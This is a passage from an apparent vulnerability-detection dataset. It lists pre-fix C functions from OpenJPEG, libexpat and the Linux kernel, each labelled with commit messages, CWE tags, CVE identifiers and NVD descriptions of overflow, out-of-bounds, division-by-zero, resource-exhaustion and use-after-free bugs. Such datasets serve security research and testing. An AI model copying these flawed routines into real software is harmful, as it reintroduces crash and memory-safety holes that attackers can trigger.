l_tcy0 = opj_int_ceildiv(*p_ty0, (OPJ_INT32)l_img_comp->dy);
l_tcx1 = opj_int_ceildiv(*p_tx1, (OPJ_INT32)l_img_comp->dx);
l_tcy1 = opj_int_ceildiv(*p_ty1, (OPJ_INT32)l_img_comp->dy);
if (l_tccp->numresolutions > *p_max_res) {
*p_max_res = l_tccp->numresolutions;
}
/* use custom size for precincts */
for (resno = 0; resno < l_tccp->numresolutions; ++resno) {
OPJ_UINT32 l_dx, l_dy;
/* precinct width and height */
l_pdx = l_tccp->prcw[resno];
l_pdy = l_tccp->prch[resno];
l_dx = l_img_comp->dx * (1u << (l_pdx + l_tccp->numresolutions - 1 - resno));
l_dy = l_img_comp->dy * (1u << (l_pdy + l_tccp->numresolutions - 1 - resno));
/* take the minimum size for dx for each comp and resolution */
*p_dx_min = opj_uint_min(*p_dx_min, l_dx);
*p_dy_min = opj_uint_min(*p_dy_min, l_dy);
/* various calculations of extents */
l_level_no = l_tccp->numresolutions - 1 - resno;
l_rx0 = opj_int_ceildivpow2(l_tcx0, (OPJ_INT32)l_level_no);
l_ry0 = opj_int_ceildivpow2(l_tcy0, (OPJ_INT32)l_level_no);
l_rx1 = opj_int_ceildivpow2(l_tcx1, (OPJ_INT32)l_level_no);
l_ry1 = opj_int_ceildivpow2(l_tcy1, (OPJ_INT32)l_level_no);
l_px0 = opj_int_floordivpow2(l_rx0, (OPJ_INT32)l_pdx) << l_pdx;
l_py0 = opj_int_floordivpow2(l_ry0, (OPJ_INT32)l_pdy) << l_pdy;
l_px1 = opj_int_ceildivpow2(l_rx1, (OPJ_INT32)l_pdx) << l_pdx;
py1 = opj_int_ceildivpow2(l_ry1, (OPJ_INT32)l_pdy) << l_pdy;
l_pw = (l_rx0 == l_rx1) ? 0 : (OPJ_UINT32)((l_px1 - l_px0) >> l_pdx);
l_ph = (l_ry0 == l_ry1) ? 0 : (OPJ_UINT32)((py1 - l_py0) >> l_pdy);
l_product = l_pw * l_ph;
/* update precision */
if (l_product > *p_max_prec) {
*p_max_prec = l_product;
}
}
++l_img_comp;
++l_tccp;
}
}
| 296,815,004,190,301,400,000,000,000,000,000,000,000 | pi.c | 91,262,203,277,625,340,000,000,000,000,000,000,000 | [
"CWE-190"
] | CVE-2018-20847 | An improper computation of p_tx0, p_tx1, p_ty0 and p_ty1 in the function opj_get_encoding_parameters in openjp2/pi.c in OpenJPEG through 2.3.0 can lead to an integer overflow. | https://nvd.nist.gov/vuln/detail/CVE-2018-20847 |
4,125 | openjpeg | c277159986c80142180fbe5efb256bbf3bdf3edc | https://github.com/uclouvain/openjpeg | https://github.com/uclouvain/openjpeg/commit/c277159986c80142180fbe5efb256bbf3bdf3edc | [MJ2] Avoid index out of bounds access to pi->include[]
Signed-off-by: Young_X <YangX92@hotmail.com> | 1 | static opj_bool pi_next_cprl(opj_pi_iterator_t * pi)
{
opj_pi_comp_t *comp = NULL;
opj_pi_resolution_t *res = NULL;
long index = 0;
if (!pi->first) {
comp = &pi->comps[pi->compno];
goto LABEL_SKIP;
} else {
pi->first = 0;
}
for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) {
int resno;
comp = &pi->comps[pi->compno];
pi->dx = 0;
pi->dy = 0;
for (resno = 0; resno < comp->numresolutions; resno++) {
int dx, dy;
res = &comp->resolutions[resno];
dx = comp->dx * (1 << (res->pdx + comp->numresolutions - 1 - resno));
dy = comp->dy * (1 << (res->pdy + comp->numresolutions - 1 - resno));
pi->dx = !pi->dx ? dx : int_min(pi->dx, dx);
pi->dy = !pi->dy ? dy : int_min(pi->dy, dy);
}
if (!pi->tp_on) {
pi->poc.ty0 = pi->ty0;
pi->poc.tx0 = pi->tx0;
pi->poc.ty1 = pi->ty1;
pi->poc.tx1 = pi->tx1;
}
for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1;
pi->y += pi->dy - (pi->y % pi->dy)) {
for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1;
pi->x += pi->dx - (pi->x % pi->dx)) {
for (pi->resno = pi->poc.resno0;
pi->resno < int_min(pi->poc.resno1, comp->numresolutions); pi->resno++) {
int levelno;
int trx0, try0;
int trx1, try1;
int rpx, rpy;
int prci, prcj;
res = &comp->resolutions[pi->resno];
levelno = comp->numresolutions - 1 - pi->resno;
trx0 = int_ceildiv(pi->tx0, comp->dx << levelno);
try0 = int_ceildiv(pi->ty0, comp->dy << levelno);
trx1 = int_ceildiv(pi->tx1, comp->dx << levelno);
try1 = int_ceildiv(pi->ty1, comp->dy << levelno);
rpx = res->pdx + levelno;
rpy = res->pdy + levelno;
/* To avoid divisions by zero / undefined behaviour on shift */
if (rpx >= 31 || ((comp->dx << rpx) >> rpx) != comp->dx ||
rpy >= 31 || ((comp->dy << rpy) >> rpy) != comp->dy) {
continue;
}
if (!((pi->y % (comp->dy << rpy) == 0) || ((pi->y == pi->ty0) &&
((try0 << levelno) % (1 << rpy))))) {
continue;
}
if (!((pi->x % (comp->dx << rpx) == 0) || ((pi->x == pi->tx0) &&
((trx0 << levelno) % (1 << rpx))))) {
continue;
}
if ((res->pw == 0) || (res->ph == 0)) {
continue;
}
if ((trx0 == trx1) || (try0 == try1)) {
continue;
}
prci = int_floordivpow2(int_ceildiv(pi->x, comp->dx << levelno), res->pdx)
- int_floordivpow2(trx0, res->pdx);
prcj = int_floordivpow2(int_ceildiv(pi->y, comp->dy << levelno), res->pdy)
- int_floordivpow2(try0, res->pdy);
pi->precno = prci + prcj * res->pw;
for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) {
index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno *
pi->step_c + pi->precno * pi->step_p;
if (!pi->include[index]) {
pi->include[index] = 1;
return OPJ_TRUE;
}
LABEL_SKIP:
;
}
}
}
}
}
return OPJ_FALSE;
}
| 85,538,911,631,696,440,000,000,000,000,000,000,000 | pi.c | 29,164,093,234,674,973,000,000,000,000,000,000,000 | [
"CWE-20"
] | CVE-2018-20846 | Out-of-bounds accesses in the functions pi_next_lrcp, pi_next_rlcp, pi_next_rpcl, pi_next_pcrl, pi_next_rpcl, and pi_next_cprl in openmj2/pi.c in OpenJPEG through 2.3.0 allow remote attackers to cause a denial of service (application crash). | https://nvd.nist.gov/vuln/detail/CVE-2018-20846 |
4,126 | openjpeg | c277159986c80142180fbe5efb256bbf3bdf3edc | https://github.com/uclouvain/openjpeg | https://github.com/uclouvain/openjpeg/commit/c277159986c80142180fbe5efb256bbf3bdf3edc | [MJ2] Avoid index out of bounds access to pi->include[]
Signed-off-by: Young_X <YangX92@hotmail.com> | 1 | static opj_bool pi_next_lrcp(opj_pi_iterator_t * pi)
{
opj_pi_comp_t *comp = NULL;
opj_pi_resolution_t *res = NULL;
long index = 0;
if (!pi->first) {
comp = &pi->comps[pi->compno];
res = &comp->resolutions[pi->resno];
goto LABEL_SKIP;
} else {
pi->first = 0;
}
for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) {
for (pi->resno = pi->poc.resno0; pi->resno < pi->poc.resno1;
pi->resno++) {
for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) {
comp = &pi->comps[pi->compno];
if (pi->resno >= comp->numresolutions) {
continue;
}
res = &comp->resolutions[pi->resno];
if (!pi->tp_on) {
pi->poc.precno1 = res->pw * res->ph;
}
for (pi->precno = pi->poc.precno0; pi->precno < pi->poc.precno1; pi->precno++) {
index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno *
pi->step_c + pi->precno * pi->step_p;
if (!pi->include[index]) {
pi->include[index] = 1;
return OPJ_TRUE;
}
LABEL_SKIP:
;
}
}
}
}
return OPJ_FALSE;
}
| 152,272,228,207,417,500,000,000,000,000,000,000,000 | pi.c | 29,164,093,234,674,973,000,000,000,000,000,000,000 | [
"CWE-20"
] | CVE-2018-20846 | Out-of-bounds accesses in the functions pi_next_lrcp, pi_next_rlcp, pi_next_rpcl, pi_next_pcrl, pi_next_rpcl, and pi_next_cprl in openmj2/pi.c in OpenJPEG through 2.3.0 allow remote attackers to cause a denial of service (application crash). | https://nvd.nist.gov/vuln/detail/CVE-2018-20846 |
4,127 | openjpeg | c277159986c80142180fbe5efb256bbf3bdf3edc | https://github.com/uclouvain/openjpeg | https://github.com/uclouvain/openjpeg/commit/c277159986c80142180fbe5efb256bbf3bdf3edc | [MJ2] Avoid index out of bounds access to pi->include[]
Signed-off-by: Young_X <YangX92@hotmail.com> | 1 | static opj_bool pi_next_pcrl(opj_pi_iterator_t * pi)
{
opj_pi_comp_t *comp = NULL;
opj_pi_resolution_t *res = NULL;
long index = 0;
if (!pi->first) {
comp = &pi->comps[pi->compno];
goto LABEL_SKIP;
} else {
int compno, resno;
pi->first = 0;
pi->dx = 0;
pi->dy = 0;
for (compno = 0; compno < pi->numcomps; compno++) {
comp = &pi->comps[compno];
for (resno = 0; resno < comp->numresolutions; resno++) {
int dx, dy;
res = &comp->resolutions[resno];
dx = comp->dx * (1 << (res->pdx + comp->numresolutions - 1 - resno));
dy = comp->dy * (1 << (res->pdy + comp->numresolutions - 1 - resno));
pi->dx = !pi->dx ? dx : int_min(pi->dx, dx);
pi->dy = !pi->dy ? dy : int_min(pi->dy, dy);
}
}
}
if (!pi->tp_on) {
pi->poc.ty0 = pi->ty0;
pi->poc.tx0 = pi->tx0;
pi->poc.ty1 = pi->ty1;
pi->poc.tx1 = pi->tx1;
}
for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1;
pi->y += pi->dy - (pi->y % pi->dy)) {
for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1;
pi->x += pi->dx - (pi->x % pi->dx)) {
for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) {
comp = &pi->comps[pi->compno];
for (pi->resno = pi->poc.resno0;
pi->resno < int_min(pi->poc.resno1, comp->numresolutions); pi->resno++) {
int levelno;
int trx0, try0;
int trx1, try1;
int rpx, rpy;
int prci, prcj;
res = &comp->resolutions[pi->resno];
levelno = comp->numresolutions - 1 - pi->resno;
trx0 = int_ceildiv(pi->tx0, comp->dx << levelno);
try0 = int_ceildiv(pi->ty0, comp->dy << levelno);
trx1 = int_ceildiv(pi->tx1, comp->dx << levelno);
try1 = int_ceildiv(pi->ty1, comp->dy << levelno);
rpx = res->pdx + levelno;
rpy = res->pdy + levelno;
/* To avoid divisions by zero / undefined behaviour on shift */
if (rpx >= 31 || ((comp->dx << rpx) >> rpx) != comp->dx ||
rpy >= 31 || ((comp->dy << rpy) >> rpy) != comp->dy) {
continue;
}
if (!((pi->y % (comp->dy << rpy) == 0) || ((pi->y == pi->ty0) &&
((try0 << levelno) % (1 << rpy))))) {
continue;
}
if (!((pi->x % (comp->dx << rpx) == 0) || ((pi->x == pi->tx0) &&
((trx0 << levelno) % (1 << rpx))))) {
continue;
}
if ((res->pw == 0) || (res->ph == 0)) {
continue;
}
if ((trx0 == trx1) || (try0 == try1)) {
continue;
}
prci = int_floordivpow2(int_ceildiv(pi->x, comp->dx << levelno), res->pdx)
- int_floordivpow2(trx0, res->pdx);
prcj = int_floordivpow2(int_ceildiv(pi->y, comp->dy << levelno), res->pdy)
- int_floordivpow2(try0, res->pdy);
pi->precno = prci + prcj * res->pw;
for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) {
index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno *
pi->step_c + pi->precno * pi->step_p;
if (!pi->include[index]) {
pi->include[index] = 1;
return OPJ_TRUE;
}
LABEL_SKIP:
;
}
}
}
}
}
return OPJ_FALSE;
}
| 95,796,440,332,548,910,000,000,000,000,000,000,000 | pi.c | 29,164,093,234,674,973,000,000,000,000,000,000,000 | [
"CWE-20"
] | CVE-2018-20846 | Out-of-bounds accesses in the functions pi_next_lrcp, pi_next_rlcp, pi_next_rpcl, pi_next_pcrl, pi_next_rpcl, and pi_next_cprl in openmj2/pi.c in OpenJPEG through 2.3.0 allow remote attackers to cause a denial of service (application crash). | https://nvd.nist.gov/vuln/detail/CVE-2018-20846 |
4,128 | openjpeg | c277159986c80142180fbe5efb256bbf3bdf3edc | https://github.com/uclouvain/openjpeg | https://github.com/uclouvain/openjpeg/commit/c277159986c80142180fbe5efb256bbf3bdf3edc | [MJ2] Avoid index out of bounds access to pi->include[]
Signed-off-by: Young_X <YangX92@hotmail.com> | 1 | static opj_bool pi_next_rlcp(opj_pi_iterator_t * pi)
{
opj_pi_comp_t *comp = NULL;
opj_pi_resolution_t *res = NULL;
long index = 0;
if (!pi->first) {
comp = &pi->comps[pi->compno];
res = &comp->resolutions[pi->resno];
goto LABEL_SKIP;
} else {
pi->first = 0;
}
for (pi->resno = pi->poc.resno0; pi->resno < pi->poc.resno1; pi->resno++) {
for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) {
for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) {
comp = &pi->comps[pi->compno];
if (pi->resno >= comp->numresolutions) {
continue;
}
res = &comp->resolutions[pi->resno];
if (!pi->tp_on) {
pi->poc.precno1 = res->pw * res->ph;
}
for (pi->precno = pi->poc.precno0; pi->precno < pi->poc.precno1; pi->precno++) {
index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno *
pi->step_c + pi->precno * pi->step_p;
if (!pi->include[index]) {
pi->include[index] = 1;
return OPJ_TRUE;
}
LABEL_SKIP:
;
}
}
}
}
return OPJ_FALSE;
}
| 223,188,624,698,480,920,000,000,000,000,000,000,000 | pi.c | 29,164,093,234,674,973,000,000,000,000,000,000,000 | [
"CWE-20"
] | CVE-2018-20846 | Out-of-bounds accesses in the functions pi_next_lrcp, pi_next_rlcp, pi_next_rpcl, pi_next_pcrl, pi_next_rpcl, and pi_next_cprl in openmj2/pi.c in OpenJPEG through 2.3.0 allow remote attackers to cause a denial of service (application crash). | https://nvd.nist.gov/vuln/detail/CVE-2018-20846 |
4,129 | openjpeg | c277159986c80142180fbe5efb256bbf3bdf3edc | https://github.com/uclouvain/openjpeg | https://github.com/uclouvain/openjpeg/commit/c277159986c80142180fbe5efb256bbf3bdf3edc | [MJ2] Avoid index out of bounds access to pi->include[]
Signed-off-by: Young_X <YangX92@hotmail.com> | 1 | static opj_bool pi_next_rpcl(opj_pi_iterator_t * pi)
{
opj_pi_comp_t *comp = NULL;
opj_pi_resolution_t *res = NULL;
long index = 0;
if (!pi->first) {
goto LABEL_SKIP;
} else {
int compno, resno;
pi->first = 0;
pi->dx = 0;
pi->dy = 0;
for (compno = 0; compno < pi->numcomps; compno++) {
comp = &pi->comps[compno];
for (resno = 0; resno < comp->numresolutions; resno++) {
int dx, dy;
res = &comp->resolutions[resno];
dx = comp->dx * (1 << (res->pdx + comp->numresolutions - 1 - resno));
dy = comp->dy * (1 << (res->pdy + comp->numresolutions - 1 - resno));
pi->dx = !pi->dx ? dx : int_min(pi->dx, dx);
pi->dy = !pi->dy ? dy : int_min(pi->dy, dy);
}
}
}
if (!pi->tp_on) {
pi->poc.ty0 = pi->ty0;
pi->poc.tx0 = pi->tx0;
pi->poc.ty1 = pi->ty1;
pi->poc.tx1 = pi->tx1;
}
for (pi->resno = pi->poc.resno0; pi->resno < pi->poc.resno1; pi->resno++) {
for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1;
pi->y += pi->dy - (pi->y % pi->dy)) {
for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1;
pi->x += pi->dx - (pi->x % pi->dx)) {
for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) {
int levelno;
int trx0, try0;
int trx1, try1;
int rpx, rpy;
int prci, prcj;
comp = &pi->comps[pi->compno];
if (pi->resno >= comp->numresolutions) {
continue;
}
res = &comp->resolutions[pi->resno];
levelno = comp->numresolutions - 1 - pi->resno;
trx0 = int_ceildiv(pi->tx0, comp->dx << levelno);
try0 = int_ceildiv(pi->ty0, comp->dy << levelno);
trx1 = int_ceildiv(pi->tx1, comp->dx << levelno);
try1 = int_ceildiv(pi->ty1, comp->dy << levelno);
rpx = res->pdx + levelno;
rpy = res->pdy + levelno;
/* To avoid divisions by zero / undefined behaviour on shift */
if (rpx >= 31 || ((comp->dx << rpx) >> rpx) != comp->dx ||
rpy >= 31 || ((comp->dy << rpy) >> rpy) != comp->dy) {
continue;
}
if (!((pi->y % (comp->dy << rpy) == 0) || ((pi->y == pi->ty0) &&
((try0 << levelno) % (1 << rpy))))) {
continue;
}
if (!((pi->x % (comp->dx << rpx) == 0) || ((pi->x == pi->tx0) &&
((trx0 << levelno) % (1 << rpx))))) {
continue;
}
if ((res->pw == 0) || (res->ph == 0)) {
continue;
}
if ((trx0 == trx1) || (try0 == try1)) {
continue;
}
prci = int_floordivpow2(int_ceildiv(pi->x, comp->dx << levelno), res->pdx)
- int_floordivpow2(trx0, res->pdx);
prcj = int_floordivpow2(int_ceildiv(pi->y, comp->dy << levelno), res->pdy)
- int_floordivpow2(try0, res->pdy);
pi->precno = prci + prcj * res->pw;
for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) {
index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno *
pi->step_c + pi->precno * pi->step_p;
if (!pi->include[index]) {
pi->include[index] = 1;
return OPJ_TRUE;
}
LABEL_SKIP:
;
}
}
}
}
}
return OPJ_FALSE;
}
| 80,601,494,770,304,420,000,000,000,000,000,000,000 | pi.c | 29,164,093,234,674,973,000,000,000,000,000,000,000 | [
"CWE-20"
] | CVE-2018-20846 | Out-of-bounds accesses in the functions pi_next_lrcp, pi_next_rlcp, pi_next_rpcl, pi_next_pcrl, pi_next_rpcl, and pi_next_cprl in openmj2/pi.c in OpenJPEG through 2.3.0 allow remote attackers to cause a denial of service (application crash). | https://nvd.nist.gov/vuln/detail/CVE-2018-20846 |
4,130 | openjpeg | c5bd64ea146162967c29bd2af0cbb845ba3eaaaf | https://github.com/uclouvain/openjpeg | https://github.com/uclouvain/openjpeg/commit/c5bd64ea146162967c29bd2af0cbb845ba3eaaaf | [MJ2] To avoid divisions by zero / undefined behaviour on shift
Signed-off-by: Young_X <YangX92@hotmail.com> | 1 | static opj_bool pi_next_pcrl(opj_pi_iterator_t * pi)
{
opj_pi_comp_t *comp = NULL;
opj_pi_resolution_t *res = NULL;
long index = 0;
if (!pi->first) {
comp = &pi->comps[pi->compno];
goto LABEL_SKIP;
} else {
int compno, resno;
pi->first = 0;
pi->dx = 0;
pi->dy = 0;
for (compno = 0; compno < pi->numcomps; compno++) {
comp = &pi->comps[compno];
for (resno = 0; resno < comp->numresolutions; resno++) {
int dx, dy;
res = &comp->resolutions[resno];
dx = comp->dx * (1 << (res->pdx + comp->numresolutions - 1 - resno));
dy = comp->dy * (1 << (res->pdy + comp->numresolutions - 1 - resno));
pi->dx = !pi->dx ? dx : int_min(pi->dx, dx);
pi->dy = !pi->dy ? dy : int_min(pi->dy, dy);
}
}
}
if (!pi->tp_on) {
pi->poc.ty0 = pi->ty0;
pi->poc.tx0 = pi->tx0;
pi->poc.ty1 = pi->ty1;
pi->poc.tx1 = pi->tx1;
}
for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1;
pi->y += pi->dy - (pi->y % pi->dy)) {
for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1;
pi->x += pi->dx - (pi->x % pi->dx)) {
for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) {
comp = &pi->comps[pi->compno];
for (pi->resno = pi->poc.resno0;
pi->resno < int_min(pi->poc.resno1, comp->numresolutions); pi->resno++) {
int levelno;
int trx0, try0;
int trx1, try1;
int rpx, rpy;
int prci, prcj;
res = &comp->resolutions[pi->resno];
levelno = comp->numresolutions - 1 - pi->resno;
trx0 = int_ceildiv(pi->tx0, comp->dx << levelno);
try0 = int_ceildiv(pi->ty0, comp->dy << levelno);
trx1 = int_ceildiv(pi->tx1, comp->dx << levelno);
try1 = int_ceildiv(pi->ty1, comp->dy << levelno);
rpx = res->pdx + levelno;
rpy = res->pdy + levelno;
if (!((pi->y % (comp->dy << rpy) == 0) || ((pi->y == pi->ty0) &&
((try0 << levelno) % (1 << rpy))))) {
continue;
}
if (!((pi->x % (comp->dx << rpx) == 0) || ((pi->x == pi->tx0) &&
((trx0 << levelno) % (1 << rpx))))) {
continue;
}
if ((res->pw == 0) || (res->ph == 0)) {
continue;
}
if ((trx0 == trx1) || (try0 == try1)) {
continue;
}
prci = int_floordivpow2(int_ceildiv(pi->x, comp->dx << levelno), res->pdx)
- int_floordivpow2(trx0, res->pdx);
prcj = int_floordivpow2(int_ceildiv(pi->y, comp->dy << levelno), res->pdy)
- int_floordivpow2(try0, res->pdy);
pi->precno = prci + prcj * res->pw;
for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) {
index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno *
pi->step_c + pi->precno * pi->step_p;
if (!pi->include[index]) {
pi->include[index] = 1;
return OPJ_TRUE;
}
LABEL_SKIP:
;
}
}
}
}
}
return OPJ_FALSE;
}
| 305,172,269,991,258,660,000,000,000,000,000,000,000 | None | null | [
"CWE-369"
] | CVE-2018-20845 | Division-by-zero vulnerabilities in the functions pi_next_pcrl, pi_next_cprl, and pi_next_rpcl in openmj2/pi.c in OpenJPEG through 2.3.0 allow remote attackers to cause a denial of service (application crash). | https://nvd.nist.gov/vuln/detail/CVE-2018-20845 |
4,131 | openjpeg | c5bd64ea146162967c29bd2af0cbb845ba3eaaaf | https://github.com/uclouvain/openjpeg | https://github.com/uclouvain/openjpeg/commit/c5bd64ea146162967c29bd2af0cbb845ba3eaaaf | [MJ2] To avoid divisions by zero / undefined behaviour on shift
Signed-off-by: Young_X <YangX92@hotmail.com> | 1 | static opj_bool pi_next_rpcl(opj_pi_iterator_t * pi)
{
opj_pi_comp_t *comp = NULL;
opj_pi_resolution_t *res = NULL;
long index = 0;
if (!pi->first) {
goto LABEL_SKIP;
} else {
int compno, resno;
pi->first = 0;
pi->dx = 0;
pi->dy = 0;
for (compno = 0; compno < pi->numcomps; compno++) {
comp = &pi->comps[compno];
for (resno = 0; resno < comp->numresolutions; resno++) {
int dx, dy;
res = &comp->resolutions[resno];
dx = comp->dx * (1 << (res->pdx + comp->numresolutions - 1 - resno));
dy = comp->dy * (1 << (res->pdy + comp->numresolutions - 1 - resno));
pi->dx = !pi->dx ? dx : int_min(pi->dx, dx);
pi->dy = !pi->dy ? dy : int_min(pi->dy, dy);
}
}
}
if (!pi->tp_on) {
pi->poc.ty0 = pi->ty0;
pi->poc.tx0 = pi->tx0;
pi->poc.ty1 = pi->ty1;
pi->poc.tx1 = pi->tx1;
}
for (pi->resno = pi->poc.resno0; pi->resno < pi->poc.resno1; pi->resno++) {
for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1;
pi->y += pi->dy - (pi->y % pi->dy)) {
for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1;
pi->x += pi->dx - (pi->x % pi->dx)) {
for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) {
int levelno;
int trx0, try0;
int trx1, try1;
int rpx, rpy;
int prci, prcj;
comp = &pi->comps[pi->compno];
if (pi->resno >= comp->numresolutions) {
continue;
}
res = &comp->resolutions[pi->resno];
levelno = comp->numresolutions - 1 - pi->resno;
trx0 = int_ceildiv(pi->tx0, comp->dx << levelno);
try0 = int_ceildiv(pi->ty0, comp->dy << levelno);
trx1 = int_ceildiv(pi->tx1, comp->dx << levelno);
try1 = int_ceildiv(pi->ty1, comp->dy << levelno);
rpx = res->pdx + levelno;
rpy = res->pdy + levelno;
if (!((pi->y % (comp->dy << rpy) == 0) || ((pi->y == pi->ty0) &&
((try0 << levelno) % (1 << rpy))))) {
continue;
}
if (!((pi->x % (comp->dx << rpx) == 0) || ((pi->x == pi->tx0) &&
((trx0 << levelno) % (1 << rpx))))) {
continue;
}
if ((res->pw == 0) || (res->ph == 0)) {
continue;
}
if ((trx0 == trx1) || (try0 == try1)) {
continue;
}
prci = int_floordivpow2(int_ceildiv(pi->x, comp->dx << levelno), res->pdx)
- int_floordivpow2(trx0, res->pdx);
prcj = int_floordivpow2(int_ceildiv(pi->y, comp->dy << levelno), res->pdy)
- int_floordivpow2(try0, res->pdy);
pi->precno = prci + prcj * res->pw;
for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) {
index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno *
pi->step_c + pi->precno * pi->step_p;
if (!pi->include[index]) {
pi->include[index] = 1;
return OPJ_TRUE;
}
LABEL_SKIP:
;
}
}
}
}
}
return OPJ_FALSE;
}
| 146,244,999,549,307,640,000,000,000,000,000,000,000 | None | null | [
"CWE-369"
] | CVE-2018-20845 | Division-by-zero vulnerabilities in the functions pi_next_pcrl, pi_next_cprl, and pi_next_rpcl in openmj2/pi.c in OpenJPEG through 2.3.0 allow remote attackers to cause a denial of service (application crash). | https://nvd.nist.gov/vuln/detail/CVE-2018-20845 |
4,132 | libexpat | 11f8838bf99ea0a6f0b76f9760c43704d00c4ff6 | https://github.com/libexpat/libexpat | https://github.com/libexpat/libexpat/commit/11f8838bf99ea0a6f0b76f9760c43704d00c4ff6 | xmlparse.c: Fix extraction of namespace prefix from XML name (#186) | 1 | setElementTypePrefix(XML_Parser parser, ELEMENT_TYPE *elementType)
{
DTD * const dtd = parser->m_dtd; /* save one level of indirection */
const XML_Char *name;
for (name = elementType->name; *name; name++) {
if (*name == XML_T(ASCII_COLON)) {
PREFIX *prefix;
const XML_Char *s;
for (s = elementType->name; s != name; s++) {
if (!poolAppendChar(&dtd->pool, *s))
return 0;
}
if (!poolAppendChar(&dtd->pool, XML_T('\0')))
return 0;
prefix = (PREFIX *)lookup(parser, &dtd->prefixes, poolStart(&dtd->pool),
sizeof(PREFIX));
if (!prefix)
return 0;
if (prefix->name == poolStart(&dtd->pool))
poolFinish(&dtd->pool);
else
poolDiscard(&dtd->pool);
elementType->prefix = prefix;
}
}
return 1;
}
| 149,797,917,410,026,080,000,000,000,000,000,000,000 | xmlparse.c | 279,896,994,209,473,240,000,000,000,000,000,000,000 | [
"CWE-611"
] | CVE-2018-20843 | In libexpat in Expat before 2.2.7, XML input including XML names that contain a large number of colons could make the XML parser consume a high amount of RAM and CPU resources while processing (enough to be usable for denial-of-service attacks). | https://nvd.nist.gov/vuln/detail/CVE-2018-20843 |
4,137 | linux | b90cd6f2b905905fb42671009dc0e27c310a16ae | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/b90cd6f2b905905fb42671009dc0e27c310a16ae | scsi: libsas: fix a race condition when smp task timeout
When the lldd is processing the complete sas task in interrupt and set the
task stat as SAS_TASK_STATE_DONE, the smp timeout timer is able to be
triggered at the same time. And smp_task_timedout() will complete the task
wheter the SAS_TASK_STATE_DONE is set or not. Then the sas task may freed
before lldd end the interrupt process. Thus a use-after-free will happen.
Fix this by calling the complete() only when SAS_TASK_STATE_DONE is not
set. And remove the check of the return value of the del_timer(). Once the
LLDD sets DONE, it must call task->done(), which will call
smp_task_done()->complete() and the task will be completed and freed
correctly.
Reported-by: chenxiang <chenxiang66@hisilicon.com>
Signed-off-by: Jason Yan <yanaijie@huawei.com>
CC: John Garry <john.garry@huawei.com>
CC: Johannes Thumshirn <jthumshirn@suse.de>
CC: Ewan Milne <emilne@redhat.com>
CC: Christoph Hellwig <hch@lst.de>
CC: Tomas Henzl <thenzl@redhat.com>
CC: Dan Williams <dan.j.williams@intel.com>
CC: Hannes Reinecke <hare@suse.com>
Reviewed-by: Hannes Reinecke <hare@suse.com>
Reviewed-by: John Garry <john.garry@huawei.com>
Reviewed-by: Johannes Thumshirn <jthumshirn@suse.de>
Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com> | 1 | static void smp_task_done(struct sas_task *task)
{
if (!del_timer(&task->slow_task->timer))
return;
complete(&task->slow_task->completion);
}
| 29,609,062,973,361,010,000,000,000,000,000,000,000 | sas_expander.c | 251,418,024,640,382,320,000,000,000,000,000,000,000 | [
"CWE-416"
] | CVE-2018-20836 | An issue was discovered in the Linux kernel before 4.20. There is a race condition in smp_task_timedout() and smp_task_done() in drivers/scsi/libsas/sas_expander.c, leading to a use-after-free. | https://nvd.nist.gov/vuln/detail/CVE-2018-20836 |
4,138 | linux | b90cd6f2b905905fb42671009dc0e27c310a16ae | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/b90cd6f2b905905fb42671009dc0e27c310a16ae | scsi: libsas: fix a race condition when smp task timeout
When the lldd is processing the complete sas task in interrupt and set the
task stat as SAS_TASK_STATE_DONE, the smp timeout timer is able to be
triggered at the same time. And smp_task_timedout() will complete the task
wheter the SAS_TASK_STATE_DONE is set or not. Then the sas task may freed
before lldd end the interrupt process. Thus a use-after-free will happen.
Fix this by calling the complete() only when SAS_TASK_STATE_DONE is not
set. And remove the check of the return value of the del_timer(). Once the
LLDD sets DONE, it must call task->done(), which will call
smp_task_done()->complete() and the task will be completed and freed
correctly.
Reported-by: chenxiang <chenxiang66@hisilicon.com>
Signed-off-by: Jason Yan <yanaijie@huawei.com>
CC: John Garry <john.garry@huawei.com>
CC: Johannes Thumshirn <jthumshirn@suse.de>
CC: Ewan Milne <emilne@redhat.com>
CC: Christoph Hellwig <hch@lst.de>
CC: Tomas Henzl <thenzl@redhat.com>
CC: Dan Williams <dan.j.williams@intel.com>
CC: Hannes Reinecke <hare@suse.com>
Reviewed-by: Hannes Reinecke <hare@suse.com>
Reviewed-by: John Garry <john.garry@huawei.com>
Reviewed-by: Johannes Thumshirn <jthumshirn@suse.de>
